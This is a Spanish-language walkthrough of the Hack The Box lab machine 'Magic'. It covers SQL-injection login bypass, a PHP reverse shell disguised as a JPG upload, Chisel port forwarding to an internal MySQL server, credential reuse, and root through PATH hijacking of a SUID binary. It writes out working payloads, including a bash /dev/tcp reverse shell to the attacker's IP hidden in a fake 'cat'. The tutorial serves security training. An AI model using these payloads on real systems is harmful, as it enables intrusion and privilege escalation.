Magic
Magic es una máquina Linux de Hack The Box donde explotamos una SQL Injection para acceder a una funcionalidad de subida de imágenes, conseguimos RCE mediante un archivo PHP disfrazado de JPG, pivotamos hacia MySQL utilizando Chisel y finalmente abusamos de un binario SUID vulnerable a PATH Hijacking para conseguir root.

- Plataforma
- Hack The Box
- Sistema operativo
- Linux
- Dificultad
- Intermedio
- Publicado
- Autor
- Pedro Vargas
- Temas
- SQL Injection
- Authentication Bypass
- File Upload
- Magic Bytes
- Double Extension
- Php
- Mysql
- Chisel
- Port Forwarding
- Reverse Port Forwarding
- SSH
- SSH Key
- SUID
- Sysinfo
- Path Hijacking
- Path Injection
En esta página
Resumen
Resumen
Magic es una máquina Linux Medium donde una SQL Injection permite bypassear el login y acceder a una funcionalidad vulnerable de subida de imágenes. Mediante magic bytes y una doble extensión conseguiremos subir una reverse shell PHP. Después utilizaremos Chisel para acceder al MySQL interno, reutilizaremos credenciales para convertirnos en theseus y finalmente explotaremos un binario SUID vulnerable a PATH Hijacking para conseguir root.
Enumeración
Comenzamos realizando un escaneo completo con Nmap:
nmap -oA magic_scan -vvv -T5 -sVC -p- 10.129.73.90

Encontramos principalmente dos servicios:
22 - SSH
80 - HTTP
Al tener una aplicación web expuesta comenzamos nuestra enumeración desde el navegador.

Bypass del login mediante SQL Injection
En la parte inferior izquierda de la web encontramos un formulario de login.

Probamos un payload clásico de SQL Injection:
' or 1=1--

⚠️ El espacio después de -- es importante.
En mi caso, escribirlo manualmente desde el formulario no funcionaba correctamente, por lo que podemos copiar y pegar el payload completo o modificar directamente la petición HTTP.
La inyección permite saltarnos la autenticación y somos redirigidos hacia:
upload.php

🎯 Tenemos acceso a una funcionalidad que permite subir archivos.
Enumerando el File Upload
Al intentar subir cualquier archivo, la aplicación nos indica que solamente acepta imágenes:
JPG
JPEG
PNG

Primero subimos una imagen JPG legítima.

Después buscamos la imagen desde la web y copiamos su URL.

Esto nos permite descubrir dónde se almacenan los archivos:
/images/uploads/

Por lo tanto, cualquier archivo que consigamos subir debería quedar accesible mediante una ruta similar a:
/images/uploads/archivo.jpg
Ahora necesitamos convertir este File Upload en ejecución de código.
Bypass mediante Magic Bytes + doble extensión
Para generar la reverse shell utilicé PHP PentestMonkey desde: https://www.revshells.com/

Configuramos nuestra IP y el puerto:
4444
Sin embargo, no podemos simplemente subir:
exploit.php
porque la aplicación valida que el archivo parezca una imagen.
Aquí entran en juego dos elementos.
Primero conservamos al comienzo del archivo los magic bytes de un JPG.
Los magic bytes son los primeros bytes de un archivo y permiten identificar su formato real. En este caso necesitamos que la validación detecte nuestro payload como una imagen JPEG.

Después utilizamos una doble extensión:
exploit.php.jpg
Con esta combinación conseguimos superar la validación utilizada por la aplicación manteniendo contenido PHP dentro del archivo.
Reverse shell
Desde Kali levantamos Penelope:
penelope 4444

Penelope cumple aquí el mismo objetivo que un listener tradicional de Netcat, aunque añade funcionalidades para gestionar y mejorar shells.
Subimos:
exploit.php.jpg
y accedemos desde el navegador a la ruta correspondiente dentro de:
/images/uploads/

El servidor procesa nuestro payload y recibimos la conexión en Kali.
Comprobamos:
whoami
Resultado:
www-data

🔥 Tenemos acceso inicial al servidor.
Credenciales en db.php5
Durante la enumeración de la aplicación encontramos un archivo especialmente interesante:
db.php5
Lo revisamos:
cat db.php5

Dentro encontramos las credenciales utilizadas por la aplicación para conectarse a MySQL.
Tenemos un usuario y una contraseña asociados a la base de datos.
Naturalmente, el siguiente paso sería conectarnos a MySQL.
Sin embargo, al intentar utilizar:
mysql

obtenemos:
command not found
El cliente de MySQL no está disponible en la máquina comprometida.
Eso no significa necesariamente que MySQL no exista.
Descubriendo MySQL interno
Revisamos los puertos que escucha localmente el servidor:
ss -tuln

Encontramos:
127.0.0.1:3306
Tenemos un servidor MySQL accesible únicamente desde localhost.
La situación es:
Kali
X
3306
X
Firewall / no exposición externa
↓
Magic
127.0.0.1:3306
MySQL
Necesitamos transportar ese puerto hacia nuestra Kali.
Para hacerlo utilicé Chisel.
Transfiriendo Chisel
Utilicé el binario Linux amd64 standalone de Chisel.
Desde Kali levantamos temporalmente un servidor HTTP:
python3 -m http.server 8080
Desde Magic descargamos el binario:
wget http://10.10.17.149:8080/chisel
Le damos permisos de ejecución si fuera necesario:
chmod +x chisel
En mi Kali ya tenía Chisel instalado para utilizarlo como servidor.
Reverse Port Forwarding con Chisel
Desde Kali levantamos:
chisel server -p 8000 --reverse
Con --reverse permitimos que el cliente solicite reverse port forwards.
Ahora desde Magic ejecutamos:
./chisel_1.12.0_linux_amd64 client 10.10.17.149:8000 R:3306:127.0.0.1:3306 &
¿Qué estamos haciendo exactamente?
Magic
127.0.0.1:3306
│
│ Chisel
↓
10.10.17.149:8000
│
↓
Kali
127.0.0.1:3306
La sintaxis:
R:3306:127.0.0.1:3306
le indica al servidor Chisel en Kali que escuche en su puerto 3306 y reenvíe esas conexiones, a través del cliente, hacia 127.0.0.1:3306 visto desde Magic.
Ahora podemos tratar el MySQL interno de Magic como si estuviera escuchando localmente en nuestra Kali. 🎯
Accediendo a MySQL
Desde una nueva terminal en Kali nos conectamos contra:
127.0.0.1:3306

utilizando las credenciales encontradas en db.php5.
Una vez dentro enumeramos las bases de datos:
show databases;
Encontramos:
Magic
La seleccionamos:
use Magic;
Enumeramos sus tablas:
show tables;
Y revisamos:
select * from login;

La tabla contiene nuevas credenciales.
Ahora tenemos que comprobar si corresponden con algún usuario real del sistema.
Identificando a theseus
Revisamos:
cat /etc/passwd

Encontramos el usuario:
theseus
Probamos sobre theseus la nueva contraseña recuperada desde MySQL.
Funciona.
Sin embargo, en mi caso no pude simplemente utilizar esa contraseña para iniciar una nueva sesión SSH.

Como ya tenemos una shell como www-data, podemos intentar cambiar de usuario desde ahí.
Ejecutamos:
su theseus
Pero recibimos:
su: must be run from a terminal
Nuestra reverse shell no dispone de una TTY adecuada.
Obteniendo una PTY
Utilizamos Python:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ahora volvemos a ejecutar:
su theseus

Introducimos la contraseña obtenida desde MySQL y esta vez funciona.
Ya somos:
theseus

y podemos recuperar user.txt.
Preparando acceso mediante SSH
Para trabajar más cómodamente decidí configurar autenticación SSH mediante clave pública.
Desde Kali generamos una nueva clave:
ssh-keygen -t ed25519 -f ~/.ssh/theseus_key -N ""
Consultamos la clave pública:
cat ~/.ssh/theseus_key.pub
En mi caso:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFR66Ltgv6XyF+IVbsLucjU7uZDGGrTxJWCkXFHTg7NS root@kali

Desde la sesión de theseus preparamos:
mkdir -p ~/.ssh
Asignamos permisos:
chmod 700 ~/.ssh
Añadimos nuestra clave:
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFR66Ltgv6XyF+IVbsLucjU7uZDGGrTxJWCkXFHTg7NS root@kali' >> ~/.ssh/authorized_keys
Protegemos el archivo:
chmod 600 ~/.ssh/authorized_keys

Y comprobamos:
ls -la ~/.ssh/
Ya podemos iniciar una sesión SSH estable utilizando nuestra clave privada.

Enumeración de privilegios
Comenzamos buscando binarios SUID:
find / -perm -4000 2>/dev/null

Entre los resultados encontramos algo fuera de lo habitual:
/bin/sysinfo

Un binario personalizado con SUID merece siempre una revisión.
Lo ejecutamos y observamos que recopila diferente información del sistema.
Después revisamos las cadenas incluidas en el binario:
strings /bin/sysinfo
Aquí encontramos el problema.
sysinfo ejecuta diferentes herramientas del sistema utilizando nombres como:
lshw
fdisk
cat
en lugar de utilizar sus rutas absolutas:
/usr/bin/lshw
/usr/sbin/fdisk
/bin/cat
🎯 Esto abre la puerta a PATH Hijacking.
¿Qué es PATH Hijacking?
Cuando ejecutamos un comando como:
cat
Linux necesita averiguar dónde está el ejecutable.
Para hacerlo consulta las rutas definidas en:
echo $PATH

Por ejemplo:
/usr/local/bin:/usr/bin:/bin
El sistema busca cat siguiendo esas rutas en orden.
El problema es que /bin/sysinfo tiene SUID y ejecuta comandos sin utilizar rutas absolutas.
Si conseguimos introducir primero una carpeta controlada por nosotros:
/tmp
podemos crear nuestro propio:
/tmp/cat
Entonces cuando sysinfo intente ejecutar:
cat
encontrará primero nuestro binario/script.
Como sysinfo se está ejecutando con privilegios elevados, nuestro cat malicioso heredará ese contexto privilegiado.
Manipulando PATH
Añadimos /tmp al comienzo:
export PATH=/tmp:$PATH

Ahora el orden será aproximadamente:
/tmp
↓
/usr/local/bin
↓
/usr/bin
↓
/bin
Por tanto:
cat
primero intentará resolver:
/tmp/cat
Creando nuestro cat malicioso
Nos movemos a:
cd /tmp
Creamos un archivo llamado:
cat
con una reverse shell como contenido:
#!/bin/bash
/bin/bash -c 'bash -i >& /dev/tcp/10.10.17.149/4444 0>&1'

Le damos permisos:
chmod +x /tmp/cat
Desde Kali dejamos nuestro listener preparado:
nc -lvp 4444
Ahora solamente queda provocar que el SUID invoque nuestro falso cat.
Escalamiento a root
Ejecutamos:
/bin/sysinfo
Durante su ejecución, sysinfo intenta lanzar:
cat
pero como hemos manipulado $PATH, Linux encuentra primero:
/tmp/cat
Nuestro script se ejecuta dentro del contexto privilegiado del binario SUID y recibimos una nueva conexión en Kali.

Comprobamos:
whoami
Resultado:
root
🔥 ¡Magic completada!
Conclusiones
Magic combina varios vectores clásicos de Linux: SQL Injection, bypass de File Upload mediante magic bytes y doble extensión, pivoting hacia un MySQL interno utilizando Chisel, reutilización de credenciales y finalmente un binario SUID vulnerable a PATH Hijacking que permite ejecutar nuestra propia versión de cat como root.
Herramientas utilizadas
- Nmap
- Burp Suite
- Penelope
- PHP PentestMonkey
- Chisel
- MySQL
- Python
- SSH
- strings
- Netcat
Referencias
- Reverse Shell Generator: https://www.revshells.com/
- Chisel: https://github.com/jpillora/chisel
- Chisel Releases / binario Linux amd64: https://github.com/jpillora/chisel/releases
- Resolución en video: https://www.youtube.com/watch?v=3jeHntjTnto


